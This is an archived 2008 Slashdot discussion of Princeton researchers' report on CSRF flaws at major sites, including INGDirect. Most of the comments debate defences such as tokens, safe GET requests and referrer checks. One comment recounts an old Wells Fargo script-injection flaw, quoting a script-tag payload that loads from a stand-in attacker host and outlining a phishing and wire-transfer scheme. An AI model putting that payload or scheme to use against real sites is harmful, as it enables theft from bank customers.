Slashdot Log In
CSRF Flaws Found On Major Websites, Including a Bank
Posted by
kdawson
on Mon Sep 29, 2008 08:58 PM
from the wherever-you-look dept.
from the wherever-you-look dept.
An anonymous reader sends a link to DarkReading on the recent announcement by Princeton researchers of four major Web sites on which they found exploitable cross-site request forgery vulnerabilities. The sites are the NYTimes, YouTube, Metafilter, and INGDirect. All but the NYTimes site have patched the hole. "... four major Websites susceptible to the silent-but-deadly cross-site request forgery attack — including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account ... Bill Zeller, a PhD candidate at Princeton, says the CSRF bug that he and fellow researcher Edward Felton found on INGDirect.com represents ... 'the first example of a CSRF attack that allows money to be transferred out of a bank account that [we're] aware of.' ... CSRF is little understood in the Web development community, and it is therefore a very common vulnerability on Websites. 'It's basically wherever you look,' says [a security researcher]." Here are Zeller's Freedom to Tinker post and the research paper (PDF).
Related Stories
Submission: CSRF Flaws Found on Major Websites by Anonymous Coward
This discussion has been archived.
No new comments can be posted.
The Fine Print: The following comments are owned by whoever posted them. We are not responsible for them in any way.
Full
Abbreviated
Hidden
Loading... please wait.
Computer systems need security audits. (Score:5, Interesting)
Re:Computer systems need security audits. (Score:5, Insightful)
Parent
Re:Computer systems need security audits. (Score:5, Insightful)
Repeat after me boys and girls "GET requests shouldn't change anything on the server".
Parent
Re: (Score:3, Insightful)
There are ways to safe GET requests. Unnecessarily avoiding the use of GET results in web sites that are not bookmarkable and where users can't provide links to their friends. So "hey check this out" and pasting a link becomes "hey check this out go to the main page, click here, then there, then on the other thing, then scroll down a bit to find the item in the list and then its halfway down that page".
Re:Computer systems need security audits. (Score:5, Interesting)
I didn't say anything about not having GET, I was talking about safe GET requests. Obviously it's OK to have a link to your user profile/picture gallery/&c. What is a bad idea is a link that will add someone as a friend or delete a picture, you get the idea.
Parent
Re:Computer systems need security audits. (Score:5, Interesting)
What they should do is sign urls (at least for significant stuff), so you can't just iframe a static url, you have to guess the correct url - which should change at least on a per session basis.
e.g. instead of http://slashdot.org/my/logout it should be something like http://slashdot.org/my/logout?salt=123955813&sig=01af85b572e956347a56
Where sig=sha1(concat(user session,salt,site secret,site time in hours))
If sig doesn't match, you try to see if sig matches the time that rolled over:
sig=sha1(concat(session,salt,site secret,site time in hours-1))
user session = random string+primary key.
For stuff that should not be resubmitted, you use another param to enforce that.
Parent
Re:Computer systems need security audits. (Score:5, Insightful)
While GET does in practice change stuff on the server, the idea is that it should be repeatable without adverse effect.
So, calling GET on a document might increase a hit counter, or update some other information - having me repeatedly call that function again should be safe.
However using GET for Updating Account Details, or Moving money (just some purely /random/ examples) is just plain bad design.
The example of signing GET requests is useful in some situations, but *mostly* not necessary if the design is right.
Parent
Re:Computer systems need security audits. (Score:5, Insightful)
GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.
... CSRF exploits are not the reason that GET requests shouldn't change anything on the server. Implement all of your secret one time link programs, but you'll be disappointed when someone using an 'internet accelerator' that pre-fetches pages comes by and illustrates the reason that GET ought to be separate from POST...
Parent
Re:Computer systems need security audits. (Score:5, Informative)
Parent
Re: (Score:3, Informative)
Have you actually read the spec [ietf.org]? Yes, it says that GET requests should be idempotent. It also says that GET requests should be safe. These are two different things. Saying that it requires GET requests to be idempotent, but this doesn't mean that they should be safe is te
Re: (Score:3, Interesting)
Well then that sort of internet accelerator will break on slashdot, gmail etc, since the last I checked, with all of them, you can get logged out with a simple GET request.
Clicking the following will result in a GET request that logs you out from slashdot:
http://slashdot.org/my/logout [slashdot.org]
Re:Computer systems need security audits. (Score:5, Informative)
GET requests in practice change stuff on the server. Making everything POSTs is just annoying - you get all those "click OK to resubmit form" messages and you don't even know what form it is.
I agree that the "click OK to resubmit form" messages are annoying - and dangerous, because your average user has no idea what the message means, or what the implications might be of clicking OK.
Fortunately, there is an extremely simple paradigm that works beautifully:
At the conclusion of this interchange, the user's browsing history only contains the GET page that was displayed before the POST, followed by the GET page showing the results. They can freely use their forward and back buttons to navigate within their history with no ill effect, and they will never see a "resubmit form?" question from their browser.
I use this paradigm 100% of the time. You receive tremendous benefits by respecting the documented/intended behavior of GET/POST (e.g. no problems with caching or prefetch, and when a user intentionally resubmits a POST operation it will truly be resubmitted to the server), without the painful "resubmit form?" redux.
Parent
Er... this stops nothing (Score:4, Insightful)
Changing GET to POST does not, in any way shape or form, protect you from a CSRF attack.
If you think it does and have been doing this on your own site or projects, you have some more research and work to do.
All changing GET to POST does is make it a tiny bit harder for Joe n00b hacker. But anyone with half a clue knows how to use JS to do CSRF using POST requests.
Parent
Re: (Score:2)
Not at all, everything is vulnerable, some things are harder to attack/easier to defend though. You can easily use a nonce with form data or even more intricate mechanisms. Yes you can use similar protections with GET but that doesn't make it a good idea.
Re: (Score:2)
Actually, you'll find that many auditing firms (such as Deloitte or PwC) offer both services. They go hand in hand, because the audit mindset is at some level the same.
The trick we face, of course, is convincing IT-types of how important it is, whereas accountants either already understand the need, or accept that the law requires it (NOT that I'm proposing making this a legislative requirement!).
Re: (Score:2)
"a damn dumbass"
Much like a normal dumbass, but going to hell.
Why is it that... (Score:5, Interesting)
Re: (Score:3, Insightful)
"If I got an E-mail that said that my servers could be owned by such and such exploit by doing this and this, I would immediately take action."
Except another recent E-mail says that your job just has been outsourced and you have five minutes to clean out your desk. Happy fixing.
Hanlon's Razor (Score:5, Insightful)
Never attribute to malice that which can be adequately explained by stupidity.
Don't assume these people don't care or don't want to fix it. CSRF is in the class of "WebAppSec" (what the kids call it these days) that is not "syntactic" in nature; meaning that you cannot just say "here, use this API and you're safe". It's a "semantic" problem; the developer has to both understand "how" sensitive transactions can be abused AND "how" these transactions can be fixed (like with a nonce [wikipedia.org]).
It's probably just that they don't know how to do it, at least not manageably on an average budget.
Parent
Re:Why is it that... (Score:5, Interesting)
Because many (most?) large organizations have so many layers of bureaucratic red tape to cross that it's extremely difficult to ever get anything done quickly. Here's an example of what was involved in installing a vendor's security patch in a company I used to work for.
We'd have to test the changes in a sandbox environment and engage all stakeholders of all systems that even remotely touched the app. They would have to buy off on the change entering the development environment. Time spent here: 1-5 days depending on approvals.
We'd schedule a move to dev and immediately work with the help desk (to update their documentation--needed or not), and work with packaging teams to "productize" the change (which mind you, was often a simple configuration change or an installer from a vendor). We'd test the new rerolled installer and if it looked ok request buyoff from all stakeholders after they performed their tests. We'd request to move to the integration testing environment if all looked good. Time spent here: 2-6 weeks depending on approvals and packaging issues.
In the integration testing environment disgruntled test lab system administrators got involved. They'd work with the deployment teams to install the packages, but only during certain scheduled times that both the admins and the software deployment groups agreed to. Again we'd need buy off from all stakeholders after they did full regression tests to get past this gate. Any problems meant you went back to Dev. Time spent here: 2-4 weeks depending on approvals and scheduling.
Leaving integration testing you reach the user acceptance environment. Here the same disgruntled system administrators would be involved and the process was pretty much the same as in the integration testing environment. Except now instead of just stakeholder buy off you'd need to get buy off from the performance testing teams. If they gave a thumbs up, you'd have to work on scheduling focus groups with small subsets of real end users. Time spent here: 2-6 weeks depending on approvals.
Now, if the planets were correctly aligned and you said all your prayers, you would then have the opportunity to schedule a move to production. This usually results in at least a 1 week delay. In production, the people who know how things work are not allowed to touch anything due to various regulatory requirements and separation of duties. So in production, you deal with a different set of disgruntled systems administrators and a variety of production control operators. These are completely different guys than the ones in the test lab. They are incapable of doing anything except for exactly what you specify in an "engineering packet" which details in obscene detail exactly what needs to be done. Think of the level of detail you'd have to provide to a 10 year old with ADHD. Before working with them you'd go to the "change review board" which meets once a week, and if you were lucky and got all your forms filled out correctly you'd get a time slot to have those admins and operators push your change out. They often times screwed something up so you'd be delayed at least another week. Time spent getting into production: 1-5 weeks.
It was truly fucked, but seems to be the norm across all the larger organizations I've ever worked in.
Parent
Re: (Score:2)
You were lucky, I was in a company once where change had to be approved in a similar process. Except the departmental meetings to bring up the change issue was once a week, the inter-departmental meetings to bring up changes across stakeholders in different departments was maybe once a month (if you were lucky). Once you got the whole project together and sat through many inter-departmental meetings listening to petty catfights in HR or finance and got everybody to sign off on the approval, you had to go in
It is al right no big deal (Score:2)
Very nasty (Score:5, Informative)
This looks like a very nasty attack to defend against. More info:
http://en.wikipedia.org/wiki/Cross-site_request_forgery [wikipedia.org]
Re: (Score:2, Informative)
It's just not a very well known attack.
Re: (Score:3, Informative)
Don't allow GET requests to modify anything
That doesn't protect you. Sure, it prevents the img tag vector, but it doesn't stop an attacker from convincing users to submit an arbitrary form.
Send a pseudorandom token with every form
As far as I can tell, that's the only solution that doesn't rely on Javascript shenanigans, but it doesn't really stop it. All it does is reduce the problem to a cryptographic attack -- which is subject to brute force.
Stopping CSRF attacks (Score:5, Insightful)
Saying that is like saying "cryptography doesn't really provide privacy, because it is subject to brute force". Of course pseudorandom tokens stop CSRF attack (when implemented properly).
Parent
Re: (Score:2)
how exactly would the attacker use a brute force attack on a CSRF vulnerability? i don't think a user can be convinced to resubmit a form more than 2-3 times, much less the hundreds of thousands of times necessary to crack any moderately secure session token.
and all you need to do is block outside referrers. that's the oldest trick in the book. it's simple to implement and effectively protects against most CSRF attacks.
Very easy (Score:4, Informative)
Ruby On Rails has prevented this, by default, for almost a year:
http://api.rubyonrails.org/classes/ActionController/RequestForgeryProtection/ClassMethods.html [rubyonrails.org]
That not only prevents against the image hack, it also prevents against things like a hidden form in an iframe.
Granted, it's still possible for you to do stupid things with GET requests, and it's possible you could turn it off entirely. But it's pretty trivial to stay safe here.
And no, there's not really going to be a sane way for browsers to protect you from this, unless you've left on all the annoying "You are about to send data over the internet!!!1!one" warnings. This is really going to be up to site admins to fix.
Parent
Re: (Score:2, Insightful)
That unfortunately doesn't defend against GET requests. This means that if your script allows anything vulnerable to be requested via GET, then the 'image' attack vector is not protected. This includes when GET requests are supposed to be made via xmlhttprequest..
It does defend against a form in a hidden iframe, however, you have to actually *use* it for your application to be protected.
Regarding browsers fixing the problem, you are correct. It's very very unlikely that the developers of browsers will imple
Re:Very easy (Score:4, Funny)
Ruby On Rails has prevented this, by default, for almost a year...
Nice boast, but I'll see your Ruby on Rails for almost a year and raise you a .NET viewstate for five and a half years [microsoft.com]. Go Microsoft!
Parent
Re: (Score:3, Informative)
My boast wasn't about Ruby, it was pointing out the trivialty of the problem.
If Microsoft has actually done this, and done it right, for five and a half years, great! It means even less of an excuse for anyone to get it wrong.
Re: (Score:2)
can someone please explain to me why the wikipedia page on the confused deputy problem [wikipedia.org] (the class of attacks to which CSRF belongs to) contains a picture of Don Knotts?
i really don't see what Barney Fife has to do with privilege escalation or computer security.
Details and Examples (Score:5, Informative)
For anyone curious, Jeff Atwood of Coding Horror recently wrote about them [codinghorror.com] in his blog. Included are some additional details and a couple of examples.
At face value it's a somewhat obvious exploit, but still interesting.
The Cross-site request forgery FAQ (Score:5, Informative)
http://www.cgisecurity.com/articles/csrf-faq.shtml [cgisecurity.com]
Re: (Score:2)
I think using nonce in the form is also a very effective way to prevent CSRF?
Nonce is Number-just-used-Once. Basically it is just a number generated by server, known to the server and client. Think it likes the Captcha that other site can't guess the current value, except the answer is known to the browser automatically.
I didn't mention in the FAQ in the parent.
Web application developer should really learn from existing webapp, like blogs like Wordpress or any other popular forum software, they are usally a
Heh (Score:5, Funny)
I knew something smelled funny...
Wouldn't a referrer check also counter this? (Score:2)
Since the CSRF request will come with the referrer header set to the attacker's site, then validating the referrer should also counter this attack.
This is not the same as the the "same origin policy" in Appendix B of the paper.
Re: (Score:2)
Optional, perhaps, but in practice I've used it to discourage address scrapers for over 10 years and don't recall a single complaint from anyone about requiring a referrer. In practice it's almost always present.
And unreliable? How would it fail in a way that delivered the correct URL for a referrer check over an HTTPS connection? It won't be even seen by a proxy, let alone modified or removed.
The worst case is a false positive, and only if the end user has explicitly chosen to disable it.
Re:Wouldn't a referer check also counter this? (Score:2)
your comment suggests that you don't understand what a CSRF attack is.
http referer can be intentionally spoofed by an untrusted browser, but a CSRF attack is executed by an untrusted page on a trusted browser. in this case the server is not the target, the user is. the attacker's page can cause the victim's browser to make a forged GET or POST request without the user's knowledge, but the request headers are still set by the browser, and thus cannot be altered by the attacker.
if you were using http referer
Re: (Score:3, Informative)
hrmm... i was not aware of this. i thought XMLHttpRequest could not be executed across domains. this seems like a pretty serious security design flaw.
i mean, shouldn't the same origin security policy [mozilla.org] prevent XMLHttpRequest from making requests across domains? i remember when i wrote AJAX applications in the past that i couldn't even call XMLHttpRequest on a subdomain.
Transfer money where? (Score:5, Informative)
including one on INGDirect.com's site that would let an attacker transfer money out of a victim's bank account
With my INGdirect account (in Australia) you can only transfer your savings back into your normal bank account that is associated with the ING account. So I don't think an an attacker could actually transfer money out to somewhere they could get it. Associating another bank account with the ING account requires more than just logging in to your ING account (phone/written permission etc. IIRC).
The attacker would be able to cause some inconvenience and will get your bank account number etc. but I can't see how they would actually get your money.
Re: (Score:2)
It shouldn't be that big of a risk, since those are the same numbers that are on a check.
CSRF little-known? (Score:2)
Big flippin deal (Score:4, Interesting)
Any chump can transfer money out of any bank account with nothing but a fax. Try it some time. People don't do it because it's a felony and people generally don't want to go to prison.
Also, there were several CSRF attacks that came across Bugtraq in 2000 and 2001. Some of them were against banks.
Does this actually say anything? (Score:2)
Is it possible that this refers to Cross-Site Scripting? In which case, LOTS of people know about it, and while some sites may be vulnerable, most professionals are aware.
If this is NOT cross-site scripting, then how is it different? The article says nothing about that. Is this a real alarm (in which case we need to know what
Re: (Score:2, Informative)
Its hard to tell, but my guess is that its regular old post values.
Almost all forms on the internet are powered by the html tag. Inside of this , different fields are indicated by s.
These inputs are either manipulated by javascript, or sent to another page. There are two ways to send them to another page with strait HTML.
The first is called GET. It sends it by putting a ? on the end of the page, and then just listing the values. it will look like http://www.google.com?q=123 [google.com] . q is the name of the field, 12
Re: (Score:2)
Thanks, your reply deseerves to be modded up. (Score:2)
In any case, even if I am wrong in that, thanks for pointing me in the right direction. I understand now that it is different.
irony (Score:3, Funny)
Unsurprising (Score:5, Informative)
This really isn't that surprising. A number of years ago, I was in a Wells Fargo branch; their kiosks are limited to showing only wellsfargo.com.
So, in an attempt to get to another site, I typed some HTML into the search box on their homepage, and pretty much every page on their site. Sure enough, it inserted the HTML into the page without any problems.
So, I got home, and whipped up a phishing email. It went to wellsfargo.com, used a little javascript to do a popunder, and set window.location to wellsfargo.com. The popunder self-refreshed every few seconds, and checked the cookies to see when the user had logged in. After the user logs in, it waits 9 minutes (auto-logout was 10 minutes), and then would build a form to initiate a wire transfer, and submit it - while the user was still logged in. It would then close the popunder.
So, with a simple link to a search for something like <script src="http://evilsite.tld">, I could take complete control over someone's bank account. This would be easy to pull off with an email saying something like "We have detected suspicious activity; click here to log on to wellsfargo.com". It really would take them to wellsfargo.com, and they could log in. You don't need a user/password if you control the browser.
I let them know that day, and explained how one escapes HTML. To their credit, it was fixed in a very short period of time. That still doesn't excuse that 1) they should know better, and 2) if you're going to check anything, it should be the one form that's on every page.